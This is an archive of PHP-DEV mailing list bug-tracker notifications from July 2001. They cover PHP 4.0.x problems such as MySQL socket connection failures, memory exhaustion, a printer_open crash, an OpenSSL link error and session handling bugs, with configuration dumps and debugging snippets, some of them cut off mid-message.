To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11863 Updated: Cannot connect to mysql server


ID: 11863
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: MySQL related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Hello,

can you make a page with  available to us?

Derick

Previous Comments:
---

[2001-07-03 16:44:53] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:41:17] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:32:07] [EMAIL PROTECTED]

It works fine here. Are you sure MySQl is actually running, and are the permissions on 
the socket correct?

Derick

---

[2001-07-03 16:28:24] [EMAIL PROTECTED]

I am using php-4.0.6 with MySQL-3.23.39 and there seems to be a problem with 
connecting to the database server. Problem that didn't happen with any previous 
version (even php-4.0.5 that i was using till today). phpinfo() shows a correct 
configuration and correct path to the socket, mysql server works correctly from 
console and i'm not using the bundled libraries (tried them also and it gave the same 
error). This was reproductible under OpenBSD-2.7-stable, OpenBSD-2.8, 
OpenBSD-2.8-stable, OpenBSD-2.9, OpenBSD-2.9-stable, Linux Debian (current), Linux 
RedHat 7.0, Linux Slackware 7.1 and probably others.


Configuration flags of PHP are:

--with-apache=/usr/local/apache --with-mysql=/usr/local/mysqlc 
--with-openssl=/usr/local/ssl --with-gd=/usr/local/gd --with-jpeg-dir=/usr/local 
--with-png-dir=/usr/local --with-zlib-dir=/usr/local --with-ttf=/usr/local 
--enable-apc --enable-calendar --enable-bcmath --enable-track-vars


MySQL related configuration directives in php.ini are:

mysql.allow_persistent = Off
mysql.max_persistent = 0
mysql.max_links = 1000
mysql.default_port = 3306
mysql.default_socket = /usr/local/mysqlc/var/mysql.sock
mysql.default_host = localhost


MySQL was compiled with the following flags:

--enable-static --localstatedir=/usr/local/mysqlc/var --with-libwrap=/usr 
--with-mysqld-user=mysqlc --with-unix-socket-path=/usr/local/mysqlc/var/mysql.sock 
--with-tcp-port=3306 --without-bench --without-mit-threads


Error returned:

Warning: Can't connect to local MySQL server through socket 
'/usr/local/mysqlc/var/mysql.sock' (13) in /home/www/k/kheos.net/test.php on line 3

Warning: MySQL Connection Failed: Can't connect to local MySQL server through socket 
'/usr/local/mysqlc/var/mysql.sock' (13) in /home/www/k/kheos.net/test.php on line 3


Script that returned the error:




By the way, if someone would care to write a patch for:
http://www.php.net/bugs.php?id=11767
I'd appreciate it cause i got poor C skills  ;p

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11863&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11883: unmotivated memory exhausting

2001-07-04 Thread gwelters


From: [EMAIL PROTECTED]
Operating system: Linux Kernel 2.2.16
PHP version:  4.0.6
PHP Bug Type: *General Issues
Bug description:  unmotivated memory exhausting 

using apache with php-module v4.0.6, mysql3.23.35; configure:
'./configure' '--with-apxs=/virtual/development/httpd/bin/apxs' '--without-debug' 
'--with-config-file-path=/virtual/development/httpd/conf' '--enable-sysvsem' 
'--enable-sysvshm' '--enable-shmop' '--with-ftp' '--enable-track-vars=yes' 
'--enable-gd-native-ttf' '--enable-memory-limit=yes' '--enable-magic-quotes=yes' 
'--enable-trans-sid=yes' '--enable-inline-optimization' 
'--with-mysql=/usr/local/mysql' '--with-ttf=/usr/lib/freetype2' '--with-zlib' 
'--enable-calendar' '--with-jpeg-dir=/usr/local/lib' '--with-pnglib=/usr/local/lib' 
'--with-gd' '--enable-sockets'


we had no problems at all with 4.0.5, but since we have 4.0.6 on our server, 
we get unmotivated "memory exhausting at any script on any line".
the error does not occure regularly, but when it happens, it comes many times in a 
row, just like php needs a bit of time to eat the memory, then crashes multiple times, 
and finally finds peace for a few hours working correctly. till the next day or so.
I can't give you a code-snippet to reproduce it, because when the error occurs, you 
can simply reload the page and most of the times it then works, but only most of the 
times...






-- 
Edit Bug report at: http://bugs.php.net/?id=11883&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11884: I cant print


From: [EMAIL PROTECTED]
Operating system: Win98
PHP version:  4.0.4
PHP Bug Type: Compile Failure
Bug description:  I cant print

I cant use the function printer_open, when i try that i see ¨PHP  fatal error in 
PHP4TS.DLL of 017f:100849DA ETC ETC"

Please Help Me


-- 
Edit Bug report at: http://bugs.php.net/?id=11884&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11882 Updated: uploaded files corrupt


ID: 11882
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Closed
Bug Type: HTTP related
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Check this bug report for solution to your problem:

http://www.php.net/bugs.php?id=11066&edit=1

--Jani



Previous Comments:
---

[2001-07-04 13:11:25] [EMAIL PROTECTED]

So I have two pages:

3.phtml:
= cut here 





= cut here 

and 2.phtml:
= cut here 

>

= cut here 

And the file sent by 2.phtml is not the same like I upload in 3.phtml - if  the file 
is binary.
It is already not the same in /somewhere/tmp/

I use Russian Apache 1.3.14PL3.


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11882&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11883 Updated: unmotivated memory exhausting


ID: 11883
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

Please try the patch found at:

http://www.php.net/do_download.php?download_file=php-4.0.6-memlimit.diff.gz&source_site=www.php.net




Previous Comments:
---

[2001-07-04 13:47:36] [EMAIL PROTECTED]

using apache with php-module v4.0.6, mysql3.23.35; configure:
'./configure' '--with-apxs=/virtual/development/httpd/bin/apxs' '--without-debug' 
'--with-config-file-path=/virtual/development/httpd/conf' '--enable-sysvsem' 
'--enable-sysvshm' '--enable-shmop' '--with-ftp' '--enable-track-vars=yes' 
'--enable-gd-native-ttf' '--enable-memory-limit=yes' '--enable-magic-quotes=yes' 
'--enable-trans-sid=yes' '--enable-inline-optimization' 
'--with-mysql=/usr/local/mysql' '--with-ttf=/usr/lib/freetype2' '--with-zlib' 
'--enable-calendar' '--with-jpeg-dir=/usr/local/lib' '--with-pnglib=/usr/local/lib' 
'--with-gd' '--enable-sockets'


we had no problems at all with 4.0.5, but since we have 4.0.6 on our server, 
we get unmotivated "memory exhausting at any script on any line".
the error does not occure regularly, but when it happens, it comes many times in a 
row, just like php needs a bit of time to eat the memory, then crashes multiple times, 
and finally finds peace for a few hours working correctly. till the next day or so.
I can't give you a code-snippet to reproduce it, because when the error occurs, you 
can simply reload the page and most of the times it then works, but only most of the 
times...





---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11883&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11884 Updated: I cant print


ID: 11884
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Reproducible crash
Operating system: 
PHP Version: 4.0.4
Assigned To: 
Comments:

Are you sure you have a default printer installed?

Derick

Previous Comments:
---

[2001-07-04 14:10:45] [EMAIL PROTECTED]

I cant use the function printer_open, when i try that i see ¨PHP  fatal error in 
PHP4TS.DLL of 017f:100849DA ETC ETC"

Please Help Me

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11884&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #7880 Updated: PHP_URL_FOPEN doesn't work

2001-07-04 Thread jason


ID: 7880
Updated by: jason
Reported By: [EMAIL PROTECTED]
Old-Status: Assigned
Status: Closed
Bug Type: Network related
Operating system: 
PHP Version: 4.0.3pl1
Assigned To: [EMAIL PROTECTED]
Comments:

Never able to reproduce, try  4.0.6 and reopen if still a problem.

Previous Comments:
---

[2001-01-22 22:19:45] [EMAIL PROTECTED]

reclassifying.

---

[2000-12-30 20:52:24] [EMAIL PROTECTED]

Ok - I seem to have tracked this down.  I added debug statements throughout
PHP to see exactly where it was failing, and found that it is happening in:
php_network_getaddresses in main/network.c.  Basically, in
php_fopen_url_wrap_http in ext/standard/http_fopen_wrapper.c, I modified the
function to let me know where it was bailing:

*socketd = php_hostconnect(resource->host, resource->port, SOCK_STREAM, 0);
if (*socketd == -1) {
php_error(E_WARNING, "php_hostconnect failed");
SOCK_FCLOSE(*socketd);
*socketd = 0;
free_url(resource);
return NULL;
}

It does get to that php_error message, and so after looking through
php_hostconnect, I found that our problem was a failed lookup in
php_network_getaddresses.  Here is my slightly modified code that prints out
an error message when getaddrinfo fails:
static int php_network_getaddresses(const char *host, struct sockaddr
***sal)
{
  int err;
  struct sockaddr **sap;

  if (host != NULL) {
#ifdef HAVE_GETADDRINFO
struct addrinfo hints, *res, *sai;
int n;

memset( &hints, '

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11885: Link problems with OpenSSL 0.9.6a

2001-07-04 Thread anders+nospam


From: [EMAIL PROTECTED]
Operating system: Solaris 7 08/99
PHP version:  4.0.6
PHP Bug Type: OpenSSL related
Bug description:  Link problems with OpenSSL 0.9.6a

I'm unable to link libphp4.la using --with-openssl. I'm using:

gcc version 2.95.3 20010315 (release)
ltmain.sh (GNU libtool) 1.4 (1.920 2001/04/24 23:26:18)
GNU ld 2.11.2
Apache/1.3.20 (Unix)
openssl-0.9.6a
binutils-2.11.2

make[1]: Entering directory `/usr/local/src/newapache/apachee/t2/php-4.0.6'
/bin/sh /usr/local/src/newapache/apachee/t2/php-4.0.6/libtool --silent --mode=compile 
gcc  -I. -I/usr/local/src/newapache/apachee/t2/php-4.0.6/ 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/main 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6 -I/usr/local/newapache/include 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/Zend -I/usr/local/apachedeps/include 
-I/usr/local/apachedeps/include/freetype2/freetype 
-I/usr/local/apachedeps/include/c-client -I/usr/local/apachedeps/include/mysql 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/ext/xml/expat/xmltok 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/ext/xml/expat/xmlparse 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/TSRM  -D_POSIX_PTHREAD_SEMANTICS 
-DSOLARIS2=270 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -DUSE_EXPAT -DSHARED_CORE 
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=21 -Os  -c stub.c
/bin/sh /usr/local/src/newapache/apachee/t2/php-4.0.6/libtool --silent --mode=link gcc 
 -I. -I/usr/local/src/newapache/apachee/t2/php-4.0.6/ 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/main 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6 -I/usr/local/newapache/include 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/Zend -I/usr/local/apachedeps/include 
-I/usr/local/apachedeps/include/freetype2/freetype 
-I/usr/local/apachedeps/include/c-client -I/usr/local/apachedeps/include/mysql 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/ext/xml/expat/xmltok 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/ext/xml/expat/xmlparse 
-I/usr/local/src/newapache/apachee/t2/php-4.0.6/TSRM  -D_POSIX_PTHREAD_SEMANTICS 
-DSOLARIS2=270 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -DUSE_EXPAT -DSHARED_CORE 
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=21 -Os   -o libphp4.la -rpath 
/usr/local/src/newapache/apachee/t2/php-4.0.6/libs -avoid-version -L/usr/ucblib 
-L/usr/local/apachedeps/lib -L/usr/local/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3 
-L/usr/local/apachedeps/lib/mysql  -R /usr/ucblib -R /usr/local/apachedeps/lib -R 
/usr/local/lib/gcc-lib/sparc-sun-solaris2.7/2.95.3 -R /usr/local/apachedeps/lib/mysql 
stub.lo  Zend/libZend.la sapi/apache/libsapi.la main/libmain.la regex/libregex.la 
ext/zlib/libzlib.la ext/bz2/libbz2.la ext/db/libdb.la ext/dba/libdba.la 
ext/ftp/libftp.la ext/gd/libgd.la ext/gettext/libgettext.la ext/imap/libimap.la 
ext/mysql/libmysql.la ext/openssl/libopenssl.la ext/pcre/libpcre.la 
ext/posix/libposix.la ext/session/libsession.la ext/standard/libstandard.la 
ext/sysvsem/libsysvsem.la ext/sysvshm/libsysvshm.la ext/xml/libxml.la TSRM/libtsrm.la 
-lgdbm -lpam -lc-client -ldl -lmysqlclient -lz -lpam -lintl -lgd -lfreetype -lpng -lz 
-ljpeg -lgdbm -lbz2 -lz -lcrypt -lssl -lcrypto -lresolv -lresolv -lm -ldl -lsocket 
-lsocket -lgcc
/usr/local/sparc-sun-solaris2.7/bin/ld: .libs/libphp4.so: undefined versioned symbol 
name des_encrypt1@@SUNWprivate_1.1
/usr/local/sparc-sun-solaris2.7/bin/ld: failed to set dynamic section sizes: Bad value
collect2: ld returned 1 exit status
make[1]: *** [libphp4.la] Error 1
make[1]: Leaving directory `/usr/local/src/newapache/apachee/t2/php-4.0.6'
make: *** [all-recursive] Error 1

All the above mentioned tools except gcc are built from source. I've also tried 
linking some of them with Sun's ld (/usr/ccs/bin/ld), resulting in the same link error 
(php uses libtool and GNU ld any way). If I leave out --with-openssl, building and 
linking goes fine.

My complete configure command:
# CFLAGS=-Os ./configure --enable-sysvsem --enable-sysvshm --enable-ftp \
--with-mysql=/usr/local/apachedeps --with-apxs=/usr/local/newapache/bin/apxs \
--with-zlib=/usr/local/apachedeps --with-bz2=/usr/local/apachedeps \
--with-jpeg-dir=/usr/local/apachedeps --with-tiff-dir=/usr/local/apachedeps \
--with-png-dir=/usr/local/apachedeps --enable-shared --enable-libgcc \
--with-freetype-dir=/usr/local/apachedeps --with-gd=/usr/local/apachedeps \
--with-gdbm=/usr/local/apachedeps --with-openssl=/usr/local/apachedeps \
--with-imap=/usr/local/apachedeps --with-config-file-path=/etc \
--with-gettext=/usr/local/apachedeps --with-db \
--with-prefix=/usr/local/apachedeps

This does not happen with php 4.0.5. It builds and links fine with (the same 
installation of..) OpenSSL 0.9.6a.


-- 
Edit Bug report at: http://bugs.php.net/?id=11885&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11886: bug #8908 is still alive in 4.0.6

2001-07-04 Thread behr


From: [EMAIL PROTECTED]
Operating system: Solaris 8
PHP version:  4.0.6
PHP Bug Type: Session related
Bug description:  bug #8908 is still alive in 4.0.6

After session_destroy () and registering a variable,
session_id () returns a new value but SID still has
the old one.

Configured with mysql, no transparent sid, using
php.ini very close to php.ini-optimized.



-- 
Edit Bug report at: http://bugs.php.net/?id=11886&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11887: Derick (I cant print)


From: [EMAIL PROTECTED]
Operating system: Win98
PHP version:  4.0.4
PHP Bug Type: Compile Failure
Bug description:  Derick (I cant print)

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled in this php 
server..

When i put a invalid name in the printer_open(X), i mean a name thats no exists how 
printer in my computer. i see a warning, but if i put a valid name how HP804C my 
copmuter stop PHP, please helpme Derick, i need to use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please contactme with he.



-- 
Edit Bug report at: http://bugs.php.net/?id=11887&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11860 Updated:


ID: 11860
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:



Previous Comments:
---

[2001-07-03 11:43:28] [EMAIL PROTECTED]

upps

Search Results


  Warning: Unable to fork [/local/htdig/bin/htphp.sh
  "words=interbase&config=php&exclude=/source&restrict=http://www.php.net/";] in
  /local/Web/sites/phpweb/search.php on line 183
  There was an error executing this query.

  Please try later

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11860&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11888: Derick (I cant print)


From: [EMAIL PROTECTED]
Operating system: Win98
PHP version:  4.0.4
PHP Bug Type: Compile Failure
Bug description:  Derick (I cant print)

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled in this php 
server..

When i put a invalid name in the printer_open(X), i mean a name thats no exists how 
printer in my computer. i see a warning, but if i put a valid name how HP804C my 
copmuter stop PHP, please helpme Derick, i need to use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please contactme with he.



-- 
Edit Bug report at: http://bugs.php.net/?id=11888&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #9606 Updated: complex objects and references not saved


ID: 9606
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Duplicate
Status: Closed
Old-Bug Type: *Session related
Bug Type: *General Issues
Operating system: 
PHP Version: 4.0.4pl1
Assigned To: 
Comments:

should be fixed in CVS. Fix will be in 4.0.7


Previous Comments:
---

[2001-06-14 23:25:30] [EMAIL PROTECTED]

duplicate of #8676

---

[2001-03-07 18:22:17] [EMAIL PROTECTED]

Here is a sample code that produces totally random results.
Elements of container become integers, switch places or even
become objects from other script run on the server before
when saving and restoring sessions.

///example//
class elt {
 var $a; var $b; var $c;

 function elt($a, $b, $c) {
  $this->a=$a; $this->b=$b; $this->c=$c;
 }
 
 function print_elt() {
  echo htmlspecialchars($this->a.' '.$this->b.' '.$this->c).'
 ';
 }
 
}

class container {
 var $arr;


 function container() {
  $this->arr=array();
 }

 function put($elt) {
  $num=sizeof($this->arr);
  $this->arr[$num]=$elt;
  $this->arr['num_'.$num]=&$this->arr[$num];
 }

 function get_by_num($num) {
  return $this->arr[$num];
 }

 function get_by_text($num) {
  return $this->arr['num_'.$num];
 }
}

session_register('x');
if (isset($x)) {
 $tmp=$x->get_by_num(0); $tmp->print_elt();
 $tmp=$x->get_by_text(0); $tmp->print_elt();
 $tmp=$x->get_by_num(1); $tmp->print_elt();
 $tmp=$x->get_by_text(1); $tmp->print_elt();
 $tmp=$x->get_by_num(2); $tmp->print_elt();
 $tmp=$x->get_by_text(2); $tmp->print_elt();
}
else {
 $x=new container;
 $x->put(new elt(1, 2, 3));
 $x->put(new elt('aaa', 'bbb', 'ccc'));
 $x->put(new elt('x', 'y', 'z'));
}
end of example//

I use precompiled Debian packet (at the moment I'm writing
this 4.0.4pl1-5) with modules xml, pgsql, ldap and imap. As
server I use apache (Debian packet version 1.3.14-2.3)
Here is my ini file:

//php.ini///
engine   = On
short_open_tag = On
asp_tags  = Off
precision  = 14
y2k_compliance = Off
output_buffering = Off
output_handler  =  
implicit_flush  = Off 
allow_call_time_pass_reference = On 
safe_mode  = Off
safe_mode_exec_dir =
safe_mode_allowed_env_vars = PHP_ 
safe_mode_protected_env_vars = LD_LIBRARY_PATH  
disable_functions =
highlight.string = #DD
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg  = #FF
highlight.default = #BB
highlight.html  = #00

expose_php = On 
max_execution_time = 30
memory_limit = 8M

error_reporting = E_ALL & ~E_NOTICE  
display_errors = On
display_startup_errors = Off
log_errors  = Off
track_errors = Off 
warn_plus_overloading = Off

variables_order  = "EGPCS" 
register_globals = On  
register_argc_argv = On  
post_max_size  = 8M  
gpc_order   = "GPC" 

magic_quotes_gpc = On  
magic_quotes_runtime= Off  
magic_quotes_sybase = Off  

auto_prepend_file =
auto_append_file =

default_mimetype = "text/html"

include_path =   
doc_root  = 
user_dir  = 
enable_dl  = On
file_uploads = On

upload_max_filesize = 2M

allow_url_fopen = On

[Syslog]
define_syslog_variables = Off

[mail function]
SMTP   = localhost   
sendmail_from = [EMAIL PROTECTED]

[Debugger]
debugger.host = localhost
debugger.port = 7869
debugger.enabled = False

[Logging]
[Java]

[SQL]
sql.safe_mode = Off

[ODBC]
odbc.allow_persistent = On
odbc.check_persistent  =  On
odbc.max_persistent = -1
odbc.max_links   = -1
odbc.defaultlrl = 4096 
odbc.defaultbinmode =  1 

[MySQL]
mysql.allow_persistent = On 
mysql.max_persistent = -1
mysql.max_links   = -1
mysql.default_port  =  
mysql.default_socket =  
mysql.default_host  =  
mysql.default_user  =  
mysql.default_password =  

[mSQL]
msql.allow_persistent = On 
msql.max_persistent  = -1 
msql.max_links   = -1 

[PostgresSQL]
pgsql.allow_persistent = On 
pgsql.max_persistent = -1 
pgsql.max_links   = -1 

[Sybase]
sybase.allow_persistent = On 
sybase.max_persistent = -1 
sybase.max_links  = -1 
sybase.min_error_severity = 10 
sybase.min_message_severity = 10 
sybase.compatability_mode = Off 

[Sybase-CT]
sybct.allow_persistent = On  
sybct.max_persistent = -1  
sybct.max_links   = -1  
sybct.min_server_severity = 10 
sybct.min_client_severity = 10 

[bcmath]
bcmath.scale = 0 

[browscap]

[Informix]
ifx.default_host  =  
ifx.default_user  =  
ifx.default_password  =  
ifx.allow_persistent  = On 
ifx.max_persistent  = -1 
ifx.max_links   = -1 
ifx.textasvarcha

[PHP-DEV] Bug #11884 Updated: I cant print


ID: 11884
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Reproducible crash
Operating system: Win98
PHP Version: 4.0.4
Description: I cant print

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled
in this php server..

When i put a invalid name in the printer_open(X), i mean a name thats no
exists how printer in my computer. i see a warning, but if i put a valid
name how HP804C my copmuter stop PHP, please helpme Derick, i need to
use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please
contactme with he.


Previous Comments:
---

[2001-07-04 14:52:52] [EMAIL PROTECTED]

Are you sure you have a default printer installed?

Derick

---

[2001-07-04 14:10:45] [EMAIL PROTECTED]

I cant use the function printer_open, when i try that i see ¨PHP  fatal error in 
PHP4TS.DLL of 017f:100849DA ETC ETC"

Please Help Me

---


Full Bug description available at: http://bugs.php.net/?id=11884


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11887 Updated: Derick (I cant print)


ID: 11887
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.4
Assigned To: 
Comments:

submitted 3 times. Please do not open NEW bug reports
about same issue.


Previous Comments:
---

[2001-07-04 15:23:31] [EMAIL PROTECTED]

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled in this php 
server..

When i put a invalid name in the printer_open(X), i mean a name thats no exists how 
printer in my computer. i see a warning, but if i put a valid name how HP804C my 
copmuter stop PHP, please helpme Derick, i need to use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please contactme with he.


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11887&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11888 Updated: Derick (I cant print)


ID: 11888
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Bogus
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.4
Assigned To: 
Comments:

hmph..


Previous Comments:
---

[2001-07-04 15:27:13] [EMAIL PROTECTED]

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled in this php 
server..

When i put a invalid name in the printer_open(X), i mean a name thats no exists how 
printer in my computer. i see a warning, but if i put a valid name how HP804C my 
copmuter stop PHP, please helpme Derick, i need to use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please contactme with he.


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11888&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11884 Updated: I cant print


ID: 11884
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Reproducible crash
Operating system: 
PHP Version: 4.0.4
Assigned To: 
Comments:

So it works without a printername, like printer_open(); and it does not work like 
this: printer_open("HP Deskjet 840C"); ?

Derick

Previous Comments:
---

[2001-07-04 15:30:32] [EMAIL PROTECTED]

Hi Derick

yes i´am very shure of that, i am really have a default printer instaled
in this php server..

When i put a invalid name in the printer_open(X), i mean a name thats no
exists how printer in my computer. i see a warning, but if i put a valid
name how HP804C my copmuter stop PHP, please helpme Derick, i need to
use this function in my aplication.

Sorry by my english, if you know who can help me in spanish please
contactme with he.


---

[2001-07-04 14:52:52] [EMAIL PROTECTED]

Are you sure you have a default printer installed?

Derick

---

[2001-07-04 14:10:45] [EMAIL PROTECTED]

I cant use the function printer_open, when i try that i see ¨PHP  fatal error in 
PHP4TS.DLL of 017f:100849DA ETC ETC"

Please Help Me

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11884&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11863 Updated: Cannot connect to mysql server

2001-07-04 Thread veins


ID: 11863
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: MySQL related
Operating system: Unix
PHP Version: 4.0.6
Description: Cannot connect to mysql server

of course  ;)

http://www.kheos.net/info.php

I'm making it right now so by the time you see this post it'll be available.

Best regards,
Veins

Previous Comments:
---

[2001-07-04 13:35:14] [EMAIL PROTECTED]

Hello,

can you make a page with  available to us?

Derick

---

[2001-07-03 16:44:53] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:41:17] [EMAIL PROTECTED]

Yeah, the server is actually running as i can connect to it from console. The socket 
is set srwxrwxrwx so it is also ok i presume.
The exact same configuration used to work with php-4.0.5 :/

---

[2001-07-03 16:32:07] [EMAIL PROTECTED]

It works fine here. Are you sure MySQl is actually running, and are the permissions on 
the socket correct?

Derick

---

[2001-07-03 16:28:24] [EMAIL PROTECTED]

I am using php-4.0.6 with MySQL-3.23.39 and there seems to be a problem with 
connecting to the database server. Problem that didn't happen with any previous 
version (even php-4.0.5 that i was using till today). phpinfo() shows a correct 
configuration and correct path to the socket, mysql server works correctly from 
console and i'm not using the bundled libraries (tried them also and it gave the same 
error). This was reproductible under OpenBSD-2.7-stable, OpenBSD-2.8, 
OpenBSD-2.8-stable, OpenBSD-2.9, OpenBSD-2.9-stable, Linux Debian (current), Linux 
RedHat 7.0, Linux Slackware 7.1 and probably others.


Configuration flags of PHP are:

--with-apache=/usr/local/apache --with-mysql=/usr/local/mysqlc 
--with-openssl=/usr/local/ssl --with-gd=/usr/local/gd --with-jpeg-dir=/usr/local 
--with-png-dir=/usr/local --with-zlib-dir=/usr/local --with-ttf=/usr/local 
--enable-apc --enable-calendar --enable-bcmath --enable-track-vars


MySQL related configuration directives in php.ini are:

mysql.allow_persistent = Off
mysql.max_persistent = 0
mysql.max_links = 1000
mysql.default_port = 3306
mysql.default_socket = /usr/local/mysqlc/var/mysql.sock
mysql.default_host = localhost


MySQL was compiled with the following flags:

